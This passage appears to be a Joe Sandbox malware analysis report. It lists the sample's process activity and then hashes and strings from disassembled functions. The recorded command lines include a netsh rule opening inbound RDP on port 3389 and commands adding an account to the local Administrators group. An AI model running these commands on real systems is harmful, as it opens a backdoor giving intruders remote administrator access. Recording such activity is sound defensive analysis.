Show Windows behavior

Target ID:	36
Start time:	17:07:39
Start date:	11/10/2024
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh advfirewall firewall add rule name="RDP" dir=in action=allow protocol=tcp localport=3389
Imagebase:	0x1560000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	17:07:39
Start date:	11/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /c net localgroup "Administrators" JustonThompson /add
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	17:07:39
Start date:	11/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	17:07:39
Start date:	11/10/2024
Path:	C:\Windows\SysWOW64\net.exe
Wow64 process (32bit):	true
Commandline:	net localgroup "Administrators" JustonThompson /add
Imagebase:	0x760000
File size:	47'104 bytes
MD5 hash:	31890A7DE89936F922D44D677F681A7F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	17:07:39
Start date:	11/10/2024
Path:	C:\Windows\SysWOW64\net1.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\net1 localgroup "Administrators" JustonThompson /add
Imagebase:	0xea0000
File size:	139'776 bytes
MD5 hash:	2EFE6ED4C294AB8A39EB59C80813FEC1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 026C4A88 Relevance: 3.9, Strings: 3, Instructions: 119COMMON

Download Yara Rule

Strings

Hbq, xrefs: 026C4B24
(bq, xrefs: 026C4AF8
(bq, xrefs: 026C4B8C

Memory Dump Source

Source File: 00000000.00000002.2171506223.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26c0000_67065b4c84713_Javiles.jbxd

Similarity

API ID:
String ID: (bq$(bq$Hbq
API String ID: 0-2835675688
Opcode ID: 1e4bfffba658b0a721d80f80acbf0fccc8312ccb4ac46a86ae69050d68f3e616
Instruction ID: 04c51fc7de30042049cbe2bb71a2349eace294f1fdf1f6d85ae637304b118b32
Opcode Fuzzy Hash: 1e4bfffba658b0a721d80f80acbf0fccc8312ccb4ac46a86ae69050d68f3e616
Instruction Fuzzy Hash: 5441F2353082808FC715EB79A85452EBFA3EFC521131886BED41ACB396DE309D0AC795

Function 026C4360 Relevance: 2.7, Strings: 2, Instructions: 181COMMON

Download Yara Rule

Strings

E>p, xrefs: 026C459C
E>p, xrefs: 026C4494

Memory Dump Source

Source File: 00000000.00000002.2171506223.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26c0000_67065b4c84713_Javiles.jbxd

Similarity

API ID:
String ID: E>p$E>p
API String ID: 0-3761653739
Opcode ID: 7bea3f021b2d63ab6d91bd04d3eeb87814a906cdd5851d9b312b01d77a3c2e0a
Instruction ID: 0a472ad0dc840502822cb82aa577ba3554b8d91488d442bc5e107599477ac4c6
Opcode Fuzzy Hash: 7bea3f021b2d63ab6d91bd04d3eeb87814a906cdd5851d9b312b01d77a3c2e0a
Instruction Fuzzy Hash: F4614171B406468FCB01EFAED5915AEBBE6EFC8310B10866AE405DB359DF70EC458B90

Function 026C75FF Relevance: 1.7, Strings: 1, Instructions: 405COMMON

Download Yara Rule

Strings

', xrefs: 026C7A1C

Memory Dump Source

Source File: 00000000.00000002.2171506223.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26c0000_67065b4c84713_Javiles.jbxd

Similarity

API ID:
String ID: '
API String ID: 0-3744524632
Opcode ID: 9fe8dc08488d5d72472229500d18501bfc3f95be659c3b66fa32b6156611335a
Instruction ID: 51a10475544f6e2f5451333c17aad1efa8aef725cb1db4c29980c2504e5df7d8
Opcode Fuzzy Hash: 9fe8dc08488d5d72472229500d18501bfc3f95be659c3b66fa32b6156611335a
Instruction Fuzzy Hash: 5FF1A130B012459FCB06EFA9D5946ADBBF6FF89310F2485A9D406EB365DB30AD09CB50

Function 026C2F08 Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

Te^q, xrefs: 026C3263

Memory Dump Source

Source File: 00000000.00000002.2171506223.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26c0000_67065b4c84713_Javiles.jbxd

Similarity

API ID:
String ID: Te^q
API String ID: 0-671973202
Opcode ID: e2642eddb82d74bdd3c1212368bfd28dc950595daec40d0f48647e916f0ab3c6
Instruction ID: 583ae7cf372f457319cef576037da1408b0c36c8978e77d9f7175f4146d5cf56
Opcode Fuzzy Hash: e2642eddb82d74bdd3c1212368bfd28dc950595daec40d0f48647e916f0ab3c6
Instruction Fuzzy Hash: 7AC19A30B006058FC709EF38C494A6DBBF2FF89710B2585A9E40A9B7A5DF71AD15CB81

Function 026C1709 Relevance: 1.5, Strings: 1, Instructions: 280COMMON

Download Yara Rule

Strings

bq, xrefs: 026C188D

Memory Dump Source

Source File: 00000000.00000002.2171506223.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26c0000_67065b4c84713_Javiles.jbxd

Similarity

API ID:
String ID: bq
API String ID: 0-3837038491
Opcode ID: 9617d1b21c97dbbe98b9d1cfecc4375c912b3a40f62c1d482c29d5ec3b2bef03
Instruction ID: ee9176ae13947b13a6cc64e488bf770b2a2768a46c5018b4b5044b7b60281fc2
Opcode Fuzzy Hash: 9617d1b21c97dbbe98b9d1cfecc4375c912b3a40f62c1d482c29d5ec3b2bef03
Instruction Fuzzy Hash: 1FC16135A052488FCB15EF68D944AADBBF2FF8A310F198199D446EB365DB30AC45CF60

Function 026C7210 Relevance: 1.5, Strings: 1, Instructions: 205COMMON

Download Yara Rule

Strings

(bq, xrefs: 026C743B

Memory Dump Source

Source File: 00000000.00000002.2171506223.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26c0000_67065b4c84713_Javiles.jbxd

Similarity

API ID:
String ID: (bq
API String ID: 0-149360118
Opcode ID: 3edf8bb652173bb322aa901e7fbb4754948b8123dcd015de3a751fb1d6d73e4c
Instruction ID: 57f8749b57fe39b4956085044f9be20f9ad30caac5324642a8868d441a5e6dc0
Opcode Fuzzy Hash: 3edf8bb652173bb322aa901e7fbb4754948b8123dcd015de3a751fb1d6d73e4c
Instruction Fuzzy Hash: 2171BE31B002414FDB19AB79C45076EB7E6EFC5700F28856EE4469B395DE34EC06CB91

Function 026C8728 Relevance: 1.3, Strings: 1, Instructions: 96COMMON

Download Yara Rule

Strings

P?cq, xrefs: 026C8797

Memory Dump Source

Source File: 00000000.00000002.2171506223.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26c0000_67065b4c84713_Javiles.jbxd

Similarity

API ID:
String ID: P?cq
API String ID: 0-2896956381
Opcode ID: aeaa9484d6d499bd3e37d9bb38933332594a8a8f143e22680a6600d5690a32b2
Instruction ID: a01c810ca20138cc8e84aa53a5867a1b0d7adc28666cadf93aea6ec8ea3bf5c6
Opcode Fuzzy Hash: aeaa9484d6d499bd3e37d9bb38933332594a8a8f143e22680a6600d5690a32b2
Instruction Fuzzy Hash: A631D330A017049FCB25EF69C58059EFBF5EF88310B24866DE45AAB365DB31ED44CBA0

Function 026C8717 Relevance: 1.3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

Strings

P?cq, xrefs: 026C8797

Memory Dump Source

Source File: 00000000.00000002.2171506223.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26c0000_67065b4c84713_Javiles.jbxd

Similarity

API ID:
String ID: P?cq
API String ID: 0-2896956381
Opcode ID: 9ac15253eb5438e2c781e68170b2ebe09263dac53e954e08c9656d93e69ebffc
Instruction ID: ecced905f7f4b99a7db99c67d6fae0f2024ee90e722160148294123b9faed24f
Opcode Fuzzy Hash: 9ac15253eb5438e2c781e68170b2ebe09263dac53e954e08c9656d93e69ebffc
Instruction Fuzzy Hash: 5B212630A012449FCB15EF79D6905EEBBF1FF89300B18866EE845AB755DB31AD05CB90

Function 026C0E60 Relevance: 1.3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

Strings

Te^q, xrefs: 026C0EC4

Memory Dump Source

Source File: 00000000.00000002.2171506223.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26c0000_67065b4c84713_Javiles.jbxd

Similarity

API ID:
String ID: Te^q
API String ID: 0-671973202
Opcode ID: 9f5087b4da493a5ade0337dee77a3d5a065a91c5fd022f7ebd2edde5f7944f82
Instruction ID: c40287319f7daba0cca7e7e8bf98804d294dafafde554bab00328dc5aa0d4ac2
Opcode Fuzzy Hash: 9f5087b4da493a5ade0337dee77a3d5a065a91c5fd022f7ebd2edde5f7944f82
Instruction Fuzzy Hash: F6216F71B40215CFDB14AB68C558BAEBBF6AF88714F20045AE506EB3A0CF71DD41CB91

Function 026C6CE7 Relevance: 1.3, Strings: 1, Instructions: 68COMMON

Download Yara Rule

Strings

a^q, xrefs: 026C6D9D

Memory Dump Source

Source File: 00000000.00000002.2171506223.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26c0000_67065b4c84713_Javiles.jbxd

Similarity

API ID:
String ID: a^q
API String ID: 0-3411664965
Opcode ID: 46737aa9ea9e89d5a8e03bfa4cc0e8e7f03e156d7b4ca304b59db19dee41d2bc
Instruction ID: 016eab7d481a293f4813be2b0af4decb6601cbcf3043fc7a1a304886d87b5fd6
Opcode Fuzzy Hash: 46737aa9ea9e89d5a8e03bfa4cc0e8e7f03e156d7b4ca304b59db19dee41d2bc
Instruction Fuzzy Hash: C8218330E4024A9FCB05FBA8D9A19BEBB72FF81300F108569D5016F395DF706A49CB91

Function 026C0E50 Relevance: 1.3, Strings: 1, Instructions: 66COMMON

Download Yara Rule

Strings

Te^q, xrefs: 026C0EC4

Memory Dump Source

Source File: 00000000.00000002.2171506223.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26c0000_67065b4c84713_Javiles.jbxd

Similarity

API ID:
String ID: Te^q
API String ID: 0-671973202
Opcode ID: 7907ff98cb8bc51deabb7278174c9f3140697e3f49b4dfe1bcd045989bba9f58
Instruction ID: 10fe3b587579dda1a804f06c83d3ae620b69d4f35fadc658c1f3accb9005311a
Opcode Fuzzy Hash: 7907ff98cb8bc51deabb7278174c9f3140697e3f49b4dfe1bcd045989bba9f58
Instruction Fuzzy Hash: 2121D870744254DFDB149B68C528BAEBBF6AF88704F24445ED442EB3A1CE709D41CB91

Function 026C6CF8 Relevance: 1.3, Strings: 1, Instructions: 58COMMON

Download Yara Rule

Strings

a^q, xrefs: 026C6D9D

Memory Dump Source

Source File: 00000000.00000002.2171506223.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26c0000_67065b4c84713_Javiles.jbxd

Similarity

API ID:
String ID: a^q
API String ID: 0-3411664965
Opcode ID: 966dc2f25f9c186f4d1f2f21c1e851ce18d101b6f92adbc4fee9d4ed607e4636
Instruction ID: 48fc4ae9520bed20455a7f9153fbb2ae94459cc7dc14e040c7ab661a2c017ac4
Opcode Fuzzy Hash: 966dc2f25f9c186f4d1f2f21c1e851ce18d101b6f92adbc4fee9d4ed607e4636
Instruction Fuzzy Hash: B6212E70E4020A9FCB04FBA8D991AAEBBB6FF84304F108569D5016B394DF706A49CB91

Function 026C2C98 Relevance: 1.3, Strings: 1, Instructions: 53COMMON

Download Yara Rule

Strings

Te^q, xrefs: 026C2CCB

Memory Dump Source

Source File: 00000000.00000002.2171506223.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26c0000_67065b4c84713_Javiles.jbxd

Similarity

API ID:
String ID: Te^q
API String ID: 0-671973202
Opcode ID: 163ce599c9470dd3fe030353496e2164374109d8e9856d78bb0a21d2303f3986
Instruction ID: 98de16502f34a2ce7f42d085233c59cf5cc020371b142462d0f69cef065976ad
Opcode Fuzzy Hash: 163ce599c9470dd3fe030353496e2164374109d8e9856d78bb0a21d2303f3986
Instruction Fuzzy Hash: A5114C71A10215CFCB19AF78C458AAD7BF2BF48710F24069ED812A73E0CB749D45CB95

Function 026C2CA8 Relevance: 1.3, Strings: 1, Instructions: 40COMMON

Download Yara Rule

Strings

Te^q, xrefs: 026C2CCB

Memory Dump Source

Source File: 00000000.00000002.2171506223.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26c0000_67065b4c84713_Javiles.jbxd

Similarity

API ID:
String ID: Te^q
API String ID: 0-671973202
Opcode ID: 743faeea2186a8e76033a24d103597a78367a58948195de0010edf640f2c4a18
Instruction ID: 1f485b77b46d9469cedb6dbde0fefe7813f6550f4ac2c572bdde18047e266c63
Opcode Fuzzy Hash: 743faeea2186a8e76033a24d103597a78367a58948195de0010edf640f2c4a18
Instruction Fuzzy Hash: 40012834B102188FCB48AF68C458AAD7BE6AF8C710F1500ADE406EB361CF759C018B95

Function 026C2340 Relevance: .3, Instructions: 280COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2171506223.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26c0000_67065b4c84713_Javiles.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25567355270d8ccf2d8bb0ab473ca64a50029df3d7b36d295b7af3361aca7279
Instruction ID: 17ce90a09c27c7973dcd0be2421589f01a87704a74021a56a206813679fccfe6
Opcode Fuzzy Hash: 25567355270d8ccf2d8bb0ab473ca64a50029df3d7b36d295b7af3361aca7279
Instruction Fuzzy Hash: B2B125347003058FC719EBB8D59486EBBE2EFC8300B54887DE45A8B369DE71ED4A9B51

Function 026C7670 Relevance: .2, Instructions: 223COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2171506223.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26c0000_67065b4c84713_Javiles.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f05cc4b4f4378bd4c031e78b9810266dc5a560895eb96541b9af39cf5bd79484
Instruction ID: 66cf711036545ba9b7654d0229c40e159524f892a9ca5bb2fc9f0f077edc182d
Opcode Fuzzy Hash: f05cc4b4f4378bd4c031e78b9810266dc5a560895eb96541b9af39cf5bd79484
Instruction Fuzzy Hash: F4916E30B012099FCB09EFA8D59466DFBF6EF89310B548569E80AAB355DB30ED09CB50

Function 026C81F2 Relevance: .2, Instructions: 181COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2171506223.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26c0000_67065b4c84713_Javiles.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 383911f9c718d1ee0d44d460a9d18e59aaa418baedc594c4c1fe72412d6decfd
Instruction ID: 11d1b00eb342df88d718c6c4f198596fc90eee7835ac8e9a499bda5ebe4fcc93
Opcode Fuzzy Hash: 383911f9c718d1ee0d44d460a9d18e59aaa418baedc594c4c1fe72412d6decfd
Instruction Fuzzy Hash: 1351BF327017424FC712BBBD99A166EBBA1EF8920075485BAD415DF35AEF70DC098BD0

Function 026C2708 Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2171506223.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26c0000_67065b4c84713_Javiles.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7afa7711140e909ea6c817eff743bfdcd15bad17c063422ed17f3748fc96c06b
Instruction ID: 122d9e792ed9317027b6a4aff4af886eab595680bb73e9772145bd7605805830
Opcode Fuzzy Hash: 7afa7711140e909ea6c817eff743bfdcd15bad17c063422ed17f3748fc96c06b
Instruction Fuzzy Hash: 4F41B431B042458FC705EB78D85496EBBE6EFC93107148ABAE40ACB366EE31DD068750

Function 026C4E2A Relevance: .1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2171506223.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26c0000_67065b4c84713_Javiles.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54a9dc226d74a39655010e166deaa9b8335bdca6e4b0a41a136049017ef24523
Instruction ID: c4db19211b2ca7437224fd89c15ff8359637dcb4fb2852f5d7cc8edf82befb3f
Opcode Fuzzy Hash: 54a9dc226d74a39655010e166deaa9b8335bdca6e4b0a41a136049017ef24523
Instruction Fuzzy Hash: E7414C34600A008FC715EB74DA5596FBBB3EFC4310720C96DD49A8BB59DB31E856CB81

Function 026C2910 Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2171506223.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26c0000_67065b4c84713_Javiles.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf9686272177cd00de94788b64bed19640e48014aef44a76435c2ded3659951d
Instruction ID: 3f48522d8c85b100da02ca9fe7585630373fc08c55b6502568ec05a25385d33b
Opcode Fuzzy Hash: cf9686272177cd00de94788b64bed19640e48014aef44a76435c2ded3659951d
Instruction Fuzzy Hash: 4141A2357486908FD319DB2CD4A4B267BF1AF8A714F2981ADDC49CB3B6C661DC06CB90

Function 026C8D60 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2171506223.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26c0000_67065b4c84713_Javiles.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5213ca7e5f6fc0c93191c3dcf329505cb130d530116b8275453b3a02a5374d77
Instruction ID: a8f19e1ce35734933a7963367b1cf4904b7953480d20cfea0b0bbfa0d52900f9
Opcode Fuzzy Hash: 5213ca7e5f6fc0c93191c3dcf329505cb130d530116b8275453b3a02a5374d77
Instruction Fuzzy Hash: B4419E70A002408FCB26EBB5D5997BE7FF1EF49200F2484ADD412AB391DB349D45CB90

Function 026C8BC8 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2171506223.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26c0000_67065b4c84713_Javiles.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26dcf1d47df9062a06a531f79fc489cb346a2cada1a836b94725d0412a172382
Instruction ID: 3e644f253e7bb96c8bb9c18dbf6bd92998be7987f78a41c025f044db162fa8bf
Opcode Fuzzy Hash: 26dcf1d47df9062a06a531f79fc489cb346a2cada1a836b94725d0412a172382
Instruction Fuzzy Hash: DA31CE35A02205CFCB15EBB8D8959BEBBB1FF89300F1484AAD901E7351DB34D946CB91

Function 026C8920 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2171506223.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26c0000_67065b4c84713_Javiles.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc5db05e833f538053ea59708e602562edc53b614dc36cd9b1314c9fa5e6466f
Instruction ID: 6ca1cc56d0ecec28df970c5175ecd0526bec3f1d342059c98b4c8cf744224ba4
Opcode Fuzzy Hash: cc5db05e833f538053ea59708e602562edc53b614dc36cd9b1314c9fa5e6466f
Instruction Fuzzy Hash: 4631D132E0060A9FCB1ADFA4C4905EDBB71FF49314F28855ED811AB390DB71A947CB81

Function 026C7200 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2171506223.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26c0000_67065b4c84713_Javiles.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70cab97a346fcfe0499d226add3896c68616de435a106eb09f857ba9186fe422
Instruction ID: 2f803c370a9154ec1bf8b794465f02af98a39a9e9c4d158516876998a2f08c64
Opcode Fuzzy Hash: 70cab97a346fcfe0499d226add3896c68616de435a106eb09f857ba9186fe422
Instruction Fuzzy Hash: 51319130A006419FCB25EF68C454AAAFBF6FF89300F14856DE85AE7755DB31E806CB50

Function 026C2E30 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2171506223.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26c0000_67065b4c84713_Javiles.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45743daeb045e0f8e9edd942fa40aa38e39ef7696bc952a09cb0eb2d2f8e9a1b
Instruction ID: fd059e7c108d25b7d5987ad6dd921cab59ee981525414fc77b147b9cb338b360
Opcode Fuzzy Hash: 45743daeb045e0f8e9edd942fa40aa38e39ef7696bc952a09cb0eb2d2f8e9a1b
Instruction Fuzzy Hash: EB2117B97106058FC758EF69D894969B7B2FF8C310B2145A9E91ADB371DB31EC04CB90

Function 00C3D574 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2170927111.0000000000C3D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C3D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c3d000_67065b4c84713_Javiles.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b12d8b0569691da66ad98fca2646af0638a800a300f2f5ba92f47c4bebd7f66c
Instruction ID: 1ef3f204a1760c42b5b2a7819cf525948568032e23a8b031beebfa6c68cfa9f2
Opcode Fuzzy Hash: b12d8b0569691da66ad98fca2646af0638a800a300f2f5ba92f47c4bebd7f66c
Instruction Fuzzy Hash: 272122B2514200EFCB05DF14E9C0B26BF75FB98314F20C969E80A4B256C336D956CBA2

Function 026C3371 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2171506223.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26c0000_67065b4c84713_Javiles.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0a7d52b96acb447532f0cc4bd6b51fe9e46d10ecc0c1f83678a989861d61f9a
Instruction ID: 2cfb3710dfb994ab031dce66a433132113d9c68181861c8ceffc31bfd500df63
Opcode Fuzzy Hash: c0a7d52b96acb447532f0cc4bd6b51fe9e46d10ecc0c1f83678a989861d61f9a
Instruction Fuzzy Hash: 49216DB4B002558FCB14EB78D99496EBBB2FF8521071545ADD14AEB365DE309C028B91

Function 026C7F93 Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2171506223.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26c0000_67065b4c84713_Javiles.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04bf69f4590854c06d99b54011bb7af7e22d3ab09d3f997819190b682df0c924
Instruction ID: 5bd7b8d41a607870b8b76d36db3d31c5dd2c0e9d62d1d8df9bb66abcbf09b0b4
Opcode Fuzzy Hash: 04bf69f4590854c06d99b54011bb7af7e22d3ab09d3f997819190b682df0c924
Instruction Fuzzy Hash: E821E21281F7E11ED703AB3859B42A57F309F43155B1E01EBC0D08F1B7D918898DC7AA

Function 026C6596 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2171506223.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26c0000_67065b4c84713_Javiles.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b26913e628d3c0af8b87c92bd8a3654602026c3180ae7830ddfe8f3f476acaf
Instruction ID: da481954ef39944a9011fa9c6dd033240d041d792d86d969beb3f31d87873b87
Opcode Fuzzy Hash: 0b26913e628d3c0af8b87c92bd8a3654602026c3180ae7830ddfe8f3f476acaf
Instruction Fuzzy Hash: DD219F71E05248AFCF15EFB4D990AEEBFB6EF89300F2881AAD401A7255CB315D05CB51

Function 026C8BB8 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2171506223.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26c0000_67065b4c84713_Javiles.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dad20b6807fc83bba27036cfe394990d251a9a0bcf8cb86d4089b9d9c06dff26
Instruction ID: c85c92c1f8212008f8cb5a2de3e3a21daab6309d9858523386b3ca3fac44d4bf
Opcode Fuzzy Hash: dad20b6807fc83bba27036cfe394990d251a9a0bcf8cb86d4089b9d9c06dff26
Instruction Fuzzy Hash: C821B075A022058FCB04EFB8D9855BEBBF1FF88300F15806AD845E7391DB349A09CB91

Function 026C65A0 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2171506223.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26c0000_67065b4c84713_Javiles.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86d5d682995106985b061ba7245f0269e1fd0672a3421134fc013f0140397110
Instruction ID: 4e14272cc19133749aec17351dda05cb5159ae713e1a50d4798fc9dcfade6d9d
Opcode Fuzzy Hash: 86d5d682995106985b061ba7245f0269e1fd0672a3421134fc013f0140397110
Instruction Fuzzy Hash: 39218171E05208AFCF05EF65D9806DEBBF6EF89301F2481BAD402A7255DB309D45CB91

Function 026C0C88 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2171506223.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26c0000_67065b4c84713_Javiles.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eea12503150b0b27fbd3aaeb8039e44e924e743343018fdf1eab28c03017dba5
Instruction ID: aafe90de244c19a1b878bff27f07be91281db4580d2da7a5190889285c5d128a
Opcode Fuzzy Hash: eea12503150b0b27fbd3aaeb8039e44e924e743343018fdf1eab28c03017dba5
Instruction Fuzzy Hash: 7A213B74A00209DFDB18EF65D558BADBBB1FF48704F208169D816A73A0DB71AD45CFA0

Function 026C2998 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2171506223.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26c0000_67065b4c84713_Javiles.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 366de5a0f5552645acd643782880eef45ea5a7b9b25a364e604a5fd81b81e680
